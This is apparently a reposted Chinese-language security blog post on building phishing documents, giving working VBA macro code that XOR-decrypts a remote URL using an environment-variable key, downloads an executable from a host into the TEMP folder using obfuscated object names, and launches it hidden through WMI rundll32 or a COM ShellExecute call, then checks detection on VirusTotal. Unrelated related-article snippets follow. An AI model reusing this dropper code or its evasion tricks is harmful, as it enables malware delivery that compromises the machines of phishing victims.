<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    釣魚文檔整理

    VSole2021-12-12 06:43:52

    這個思路是在國外一個網站上看到的,原文在這(https://0xdf.gitlab.io/2018/07/31/malware-analysis-muddoc.html),在此感謝作者給出的思路,這里簡單來給大家看下總體思路:

    大體思路就是使用環境變量去xor解密遠程url地址,然后落地化dll,調用rundll32去運行dll,得到sessIon。

    我們先來看一下用了xor加密的函數

    (http://www.vbaexpress.com/kb/getarticle.php?kb_id=951):


    Function XorC(ByVal sData As String, ByVal sKey As String) As String
    Dim l As Long, i As Long, byIn() As Byte, byOut() As Byte, byKey() As Byte
    Dim bEncOrDec As Boolean
    If Len(sData) = 0 Or Len(sKey) = 0 Then XorC = "Invalid argument(s) used": Exit Function
    If Left$(sData, 3) = "xxx" Then
    bEncOrDec = False
    sData = Mid$(sData, 4)
    Else
    bEncOrDec = True
    End If
    byIn = sData
    byOut = sData
    byKey = sKey
    l = LBound(byKey)
    For i = LBound(byIn) To UBound(byIn) - 1 Step 2
    byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - bEncOrDec
    l = l + 2
    If l > UBound(byKey) Then l = LBound(byKey)
    Next i
    XorC = byOut
    If bEncOrDec Then XorC = "xxx" & XorC
    End Function
    

    該函數接收兩個參數,一個字符串、一個key。而為了安全起見,我們的key不直接寫入到宏中,我們這里選擇使用環境變量來獲取key,機器上的環境變量可以使用set命令來查看:

    我們在選擇key是,要注意目標環境的變量,每個機器變量可能都不盡相同,不過有一些變量是相同的,我這里選擇的是PROCESSOR_REVISION,值為9e0a,那么這里我們就要用到一個樣本了,樣本已上傳到github(https://github.com/lengjibo/RedTeamTools/blob/master/windows/macros/encryptor.xls),該宏可用于加密我們的url地址:

    得到一個base64的字符串,然后解密

    然后用我們的xor解密函數,key使用Environ來獲取,來進行解密:

    解密出來的稍微有些問題,這里需要主要環境變量的大小寫問題,然后,我們使用下載函數,下載我們的dll,也就是之前的代碼:


    Dim payload As String
    Dim namePrefix As String
    Dim nameSuffix As String
    Dim zzz As String
    Dim dollop As Object
    Dim dstPath As String
    Dim savePath As String
    namePrefix = "AppLaunch-actual"
    nameSuffix = ".exe"
    payload = "http://192.168.41.4/AppLaunch.exe"
    zzz = payload
    Dim downloadf
    Set downloadf = CreateObject("WinHttp.WinHttpRequest.5.1")
    downloadf.Open "GET", zzz, False
    downloadf.setRequestHeader "Host", "192.168.41.4"
    downloadf.Send
    Set dollop = CreateObject(StrReverse("maertS.bdodA"))
    dollop.Type = 1
    dollop.Open
    dollop.Write downloadf.responseBody
    dstPath = Environ$("TEMP") & "\" & namePrefix & nameSuffix
    savePath = dstPath
    dollop.savetofile savePath, 2
    

    替換里面的指定位置的內容即可,然后調用wmi來運行rundll32來運行我們的dll.

    Const HIDDEN_WINDOW = 0
    strComputer = "."
    abc = "rundll32" & " " & dstPath & ",Start"
    strGetObject = ("winmgmts:\\.\root\cimv2")
    Set objWMIService = GetObject(strGetObject)
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject(strGetObject & (":Win32_Process"))
    objProcess.Create abc, Null, objConfig, intProcessID
    

    也就是稍微更改之前的代碼即可,或者調用com組建進程調用:

    Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute "calc",Null,"C:\\Windows\\System32",Null,0
    


    然后測試:

    vt測試:

    string
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    如果你不是 Java8 的釘子戶,你應該早就發現了:String 類的源碼已經由 char[] 優化為了 byte[] 來存儲字符串內容,為什么要這樣做呢? 開門見山地說,從 char[] 到 byte[],最主要的目的是為了節省字符串占用的內存 。內存占用減少帶來的另外一個好處,就是 GC 次數也會減少。
    Adobe已經發布了一個名為Stringlifier的開源工具,該工具允許用戶識別任何純文本中隨機生成的字符串,該工具可用于清理日志。Stringlifier工具是用Python編寫的,它使用機器學習來識別插入普通文本中的隨機字符序列。開源工具可用于出于多種目的分析日志,例如研究意外暴露的憑證。Stringlifier能夠在源代碼或配置文件中查找API密鑰,哈希,隨機生成的字符串,包括密碼,日志。Adobe在Github上發布的描述中寫道。
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。本文分析 Runtime_StringToArray 方法的源碼和重要數據結構,講解 Runtime_StringToArray 方法的觸發條件。
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。
    通過common-collection相關gadget,想辦法調用org.mozilla.classfile.DefiningClassLoader這個類去加載字節碼。然后通過T3協議的反序列化漏洞發送給待攻擊weblogic服務器。
    舉個例子:但是對于64位的來說 ROPgadget預設的長度是不夠的。所以,我們可以使用ROPgadget --binary ./b --depth 100來加深他的搜索深度。2利用_libc_csu_init制造ROP常規方法我們前面說的利用ROPgadget來尋找,大多都是找到直接設置某個寄存器的rop,當然也可以使用--ropchain這個參數。
    一般情況下類與類之間是相互獨立的,內部類的意思就是打破這種獨立思想,讓一個類成為另一個類的內部信息,和成員變量、成員方法同等級別。「內部類的好處:」把一個類寫在外面和寫在里面最終達到的結果都一樣,那我們為什么還要使用內部類,豈不是多此一舉嗎?
    當被問及網絡間諜是否成功時,愛德華·斯金格表示,他非常有信心地確信,除了國防學院本身,沒有任何其他危害行為。斯金格接受采訪時透露,本次攻擊看起來不像是一次暴力攻擊,但有代價。國防學院立即意識到它可能已成為敵對國家在灰色地帶式網絡攻擊中的目標的可能性。官方迅速采取了行動,對更廣泛的國防部IT網絡沒有影響。
    java安全-02RMI
    2022-03-25 15:35:13
    基礎知識動態代理反射攻擊方式注冊端攻擊服務端java -cp .\ysoserial-master-8eb5
    MISC中常用python腳本
    2021-09-20 20:26:46
    MISC中常用python腳本總結
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类